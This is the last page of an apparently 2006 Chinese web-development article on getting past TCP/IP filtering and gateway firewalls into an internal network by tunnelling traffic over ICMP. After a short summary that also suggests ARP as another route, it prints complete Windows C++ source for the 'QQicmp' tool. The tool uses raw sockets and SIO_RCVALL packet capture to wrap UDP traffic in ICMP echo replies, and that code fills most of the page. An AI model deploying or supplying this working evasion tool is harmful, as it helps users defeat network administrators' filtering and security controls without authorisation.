WEB开发网
开发学院软件开发VC 突破TCP-IP过滤/防火墙进入内网(icmp篇) 阅读

突破TCP-IP过滤/防火墙进入内网(icmp篇)

 2006-07-21 11:12:27 来源:WEB开发网   
核心提示: 以上就是QQicmp(l)的工作原理,QQicmp(g)运行在网关上,突破TCP-IP过滤/防火墙进入内网(icmp篇)(4),虽然模式不同,但工作原理是一样的,以上谈到的各种方法,本质上都是利用其他未被禁止的协议来转发被禁止协议需要传送的数据,只是数据报的流动方向有点差异, 五、小结本文

以上就是QQicmp(l)的工作原理,QQicmp(g)运行在网关上,虽然模式不同,但工作原理是一样的,只是数据报的流动方向有点差异。 

五、小结

本文利用了ICMP协议来传输数据,但由于ICMP协议自身的原因,可靠性就不可能得到很好的保证。其实,你还可以用一些其他的方法来突破网关的限制,比如最近网上常谈到的ARP协议在某些情况下就可以使用,当然前提是你要获得网关的某些权限。以上谈到的各种方法,本质上都是利用其他未被禁止的协议来转发被禁止协议需要传送的数据,然后再用原本使用的协议将数据发送到目的主机。

六、附源代码 #include <iostream.h>
#include <winsock2.h>
#include <mstcpip.h>
#define imaxsize 64*1024
typedef struct ipheader
{
  unsigned char h_lenver;
  unsigned char tos;
  unsigned short total_len;
  unsigned short ident;
  unsigned short frag_and_flags;
  unsigned char ttl;
  unsigned char proto;
  unsigned short checksum;
  unsigned int  sourceip;
  unsigned int  destip;
}ipheader;
typedef struct icmpheader
{
  unsigned char  type;
  unsigned char  code;
  unsigned short checksum;
  unsigned short seq;
  unsigned short id;
}icmpheader;
unsigned short checksum(unsigned short *buffer,int size)
{
  unsigned long cksum=0;
  while(size>0)
  {
    cksum+=*buffer++;
    size-=sizeof(unsigned short);
  }
  if(size)
    cksum+=*(unsigned char *)buffer;
  cksum=(cksum>>16)+(cksum & 0xffff);
  cksum+=(cksum>>16);
  return (unsigned short)(~cksum);
}
int  iaddrlen=sizeof(struct sockaddr_in);
SOCKET socki[2][2];
struct sockaddr_in sini[2][4],sag,sal,tempir,tempis;
DWORD WINAPI u2i(LPVOID num)
{
  UNREFERENCED_PARAMETER(num);
   char  msgrecv[imaxsize]={0},msgsend[imaxsize]={0};
  fd_set fdread,fdwrite;
  int  iret,ret,istbcs=0,ileft,idx=0;
   struct icmpheader icmphdr;
  memset(&icmphdr,0,sizeof(icmphdr));
  icmphdr.code=0;
  icmphdr.id=htons(65456);
  icmphdr.seq=htons(65456);
   icmphdr.type=0;
  icmphdr.checksum=checksum((unsigned short *)&icmphdr,sizeof(icmphdr));
  if((socki[0][1]=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))==INVALID_SOCKET)
  {
    cout<<"Socket socki[0][1] Error: "<<GetLastError()<<endl;
    return -1;
  }
  if(bind(socki[0][1],(struct sockaddr *)&sini[0][2],iaddrlen)==SOCKET_ERROR)
  {
    cout<<"Bind socki[0][1] Error: "<<GetLastError()<<endl;
    return -1;
  }
  while(1)
  {
    FD_ZERO(&fdread);
    FD_ZERO(&fdwrite);
    FD_SET(socki[0][0],&fdread);
    FD_SET(socki[0][1],&fdwrite);
    if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)
    {
      cout<<"Select in thread 0 Error: "<<GetLastError()<<endl;
      break;
    }
    if(ret>0)
    {
      if(FD_ISSET(socki[0][0],&fdread))
      {
        iret=recvfrom(socki[0][0],msgrecv,sizeof(msgrecv),0,(struct sockaddr *)&tempir,&iaddrlen);
        if(iret==SOCKET_ERROR)
        {
          cout<<"\nRecvfrom socki[0][0] Error: "<<GetLastError()<<endl;
          break;
        }
        else if(iret==0)
        {
          break;
        }
        
        if(tempir.sin_port!=sini[0][0].sin_port)  
        {
          sini[0][0].sin_port=tempir.sin_port;
          sini[1][3].sin_port=tempir.sin_port;
        }
        cout<<"\nThread 0 Recv "<<iret<<" bytes from\t"<<inet_ntoa(tempir.sin_addr)<<endl;
        if(istbcs==0)
        {
                  memset(msgsend,0,sizeof(msgsend));
                   memcpy(msgsend,&icmphdr,sizeof(icmphdr));
                    istbcs+=sizeof(icmphdr);
        }
        memcpy(msgsend+istbcs,msgrecv,iret);
        istbcs+=iret;
        memset(msgrecv,0,sizeof(msgrecv));
      }
      else if(FD_ISSET(socki[0][1],&fdwrite))
      {
                ileft=istbcs;
        idx=0;
                while(ileft>0) 
        {
                if(sini[0][3].sin_addr.s_addr==htonl(0))     
           {
               cout<<"sini[0][3].sin_addr.s_addr==htonl(0)"<<endl;
              istbcs=0;                   
               memset(msgsend,0,sizeof(msgsend));
              break;
           }
            iret=sendto(socki[0][1],&msgsend[idx],ileft,0,(struct sockaddr *)&sini[0][3],iaddrlen);
           if(iret==SOCKET_ERROR)
           {
               cout<<"Sendto socki[0][1] Error: "<<GetLastError()<<endl;
                break;
            }
             else if(iret==0)
              break;
 
             cout<<"Thread 0 send "<<iret<<" bytes to \t"<<inet_ntoa(sini[0][3].sin_addr)<<endl;
             ileft-=iret;
             idx+=iret;
            }
        memset(msgsend,0,sizeof(msgsend));
        istbcs=0;
            }
    Sleep(20);
    }
  }
  return 0;
}
DWORD WINAPI i2u(LPVOID num)
{
    UNREFERENCED_PARAMETER(num);
    fd_set fdread,fdwrite;
  char  msgrecv[imaxsize]={0},msgsend[imaxsize]={0};
  int   ret,iret,idx,istbcs=0,ileft;
  DWORD  dwbufferlen[10];
  DWORD  dwbufferinlen=1;
  DWORD  dwbytesreturned=0;
    struct ipheader  *iphdr;
  struct icmpheader *icmphdr;
  if((socki[1][0]=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)
  {
    cout<<"Socket socki[1][0] Error: "<<GetLastError()<<endl;
    return -1;
  }
  if(bind(socki[1][0],(struct sockaddr *)&sini[1][1],iaddrlen)==SOCKET_ERROR)
  {
    cout<<"Bind socki[1][0] Error: "<<GetLastError()<<endl;
    return -1;
  }
  WSAIoctl(socki[1][0],SIO_RCVALL,&dwbufferinlen,sizeof(dwbufferinlen),&dwbufferlen,sizeof(dwbufferlen),&dwbytesreturned,NULL,NULL);
    iphdr=(struct ipheader *)msgrecv;
  icmphdr=(struct icmpheader *)(msgrecv+sizeof(struct ipheader));
  while(1)
  {
    FD_ZERO(&fdread);
    FD_ZERO(&fdwrite);
    FD_SET(socki[1][0],&fdread);
    FD_SET(socki[1][1],&fdwrite);
    if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)
    {
      cout<<"Select in thread 1 Error: "<<GetLastError()<<endl;
      break;
    }
    if(ret>0)
    {
      if(FD_ISSET(socki[1][0],&fdread))
      {
        iret=recvfrom(socki[1][0],msgrecv,sizeof(msgrecv),0,(struct sockaddr *)&tempis,&iaddrlen);
        if(iret==SOCKET_ERROR)
        {
          cout<<"Recvfrom socki[1][0] Error: "<<GetLastError()<<endl;
          break;
        }
        if(iret<=28)          
        {
          break;
        }
        if((icmphdr->type!=0) || (icmphdr->code!=0) || ((icmphdr->id)!=htons(65456)) || ((icmphdr->seq)!=htons(65456)))
        {
          break;
        }
        if((sini[1][0].sin_addr.s_addr!=htonl(0)) && (sini[1][0].sin_addr.s_addr!=tempis.sin_addr.s_addr))
          break;
        else if(sini[1][0].sin_addr.s_addr==htonl(0))     
        {
          sini[1][0].sin_addr.s_addr=tempis.sin_addr.s_addr;
          sini[0][3].sin_addr.s_addr=tempis.sin_addr.s_addr;
        }
        cout<<"\nThread 1 Recv "<<iret<<" bytes from \t"<<inet_ntoa(tempis.sin_addr)<<endl;
        memcpy(msgsend+istbcs,msgrecv,iret);
        istbcs+=iret;
        memset(msgrecv,0,sizeof(msgrecv));
      }
      else if(FD_ISSET(socki[1][1],&fdwrite))
      {
        ileft=istbcs-28;
        idx=28;
        while(ileft>0)
        {
          iret=sendto(socki[1][1],&msgsend[idx],ileft,0,(struct sockaddr *)&sini[1][3],iaddrlen);
          if(iret==SOCKET_ERROR)
          {
            cout<<"Sendto socki[1][1] Error: "<<GetLastError()<<endl;
            break;
          }
          else if(iret==0)
            break;
          cout<<"Thread 1 send "<<iret<<" bytes to \t"<<inet_ntoa(sini[1][3].sin_addr)<<endl;
          ileft-=iret;
          idx+=iret;
        }
        istbcs=0;
        memset(msgsend,0,sizeof(msgsend));
      }
      Sleep(20);
    }
  }
  return 0;
}
void QQicmp(struct sockaddr_in itarget,BOOL ilocal)
{
  HANDLE    ithreads[2];
  DWORD    ithreadid[2];
    struct     hostent *hp;
  char      cname[100];
  int       dwret,log;
  gethostname(cname,sizeof(cname));
    hp=gethostbyname(cname);
  for(int ipnum=0;hp->h_addr_list[ipnum]!=NULL;ipnum++)
    sag.sin_addr=*(in_addr *)hp->h_addr_list[ipnum];
  sag.sin_family=AF_INET;
  sag.sin_port=htons(65456);
  sal=sag;
    if(ipnum>1)
    sal.sin_addr=*(in_addr *)hp->h_addr_list[ipnum-2];
  if(!ilocal)
  {
    sini[0][0].sin_addr.s_addr=itarget.sin_addr.s_addr;
    sini[0][0].sin_family=AF_INET;
    sini[0][0].sin_port=htons(8000);
    sini[0][1].sin_addr.s_addr=htonl(INADDR_ANY);   
    sini[0][1].sin_family=AF_INET;
    sini[0][1].sin_port=itarget.sin_port ;
      sini[0][2]=sal;                  
    memset(&sini[0][3],0,iaddrlen);      
    sini[0][3].sin_family=AF_INET;
  }
  else
  {
        memset(&sini[0][0],0,iaddrlen);
    sini[0][0].sin_family=AF_INET;
    sini[0][0].sin_addr.s_addr=inet_addr("127.0.0.1");
    sini[0][1].sin_addr.s_addr=htonl(INADDR_ANY);
    sini[0][1].sin_family=AF_INET;
    sini[0][1].sin_port=itarget.sin_port ;
    sini[0][2]=sal;                 
    sini[0][3].sin_addr.s_addr=itarget.sin_addr.s_addr;
    sini[0][3].sin_family=AF_INET;
  }
    sini[1][0]=sini[0][3];   
    sini[1][1]=sini[0][2]; 
    sini[1][2]=sini[0][1]; 
    sini[1][3]=sini[0][0];   
    if((socki[0][0]=socket(AF_INET,SOCK_DGRAM,0))==INVALID_SOCKET)
  {
    cout<<"Socket socki[0][0] Error: "<<GetLastError()<<endl;
    return ;
  }
  if(bind(socki[0][0],(struct sockaddr *)&sini[0][1],iaddrlen)==SOCKET_ERROR)
  {
    cout<<"Bind socki[0][0] Error: "<<GetLastError()<<endl;
    return ;
  }
    socki[1][1]=socki[0][0];
  cout<<"\n正常工作中..."<<endl;
  ithreads[0]=CreateThread(NULL,0,u2i,(LPVOID)0,NULL,&ithreadid[0]);
  ithreads[1]=CreateThread(NULL,0,i2u,(LPVOID)1,NULL,&ithreadid[1]);
  while(1)
  {
  dwret=WaitForMultipleObjects(2,ithreads,false,INFINITE);    
  if(dwret==WAIT_FAILED)
  {
    cout<<"WaitForMultipleObjects Error: "<<GetLastError()<<endl;
    return ;
  }
  log=dwret-WAIT_OBJECT_0;
  if(log==0)
  {
    CloseHandle(ithreads[0]);
    closesocket(socki[0][1]);
        ithreads[0]=CreateThread(NULL,0,u2i,(LPVOID)0,NULL,&ithreadid[0]);
  }
  else if(log==1)
  {
    CloseHandle(ithreads[1]);
        closesocket(socki[1][0]);
        ithreads[1]=CreateThread(NULL,0,i2u,(LPVOID)1,NULL,&ithreadid[1]);
   }
  else
  {
        for(int no1=0;no1<2;no1++)
    {
      CloseHandle(ithreads[no1]);
      for(int no2=0;no2<2;no2++)
              closesocket(socki[no1][no2]);
    }
  }
  }
  return ;
}

(全文完)

上一页  1 2 3 4 

Tags:突破 TCP IP

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接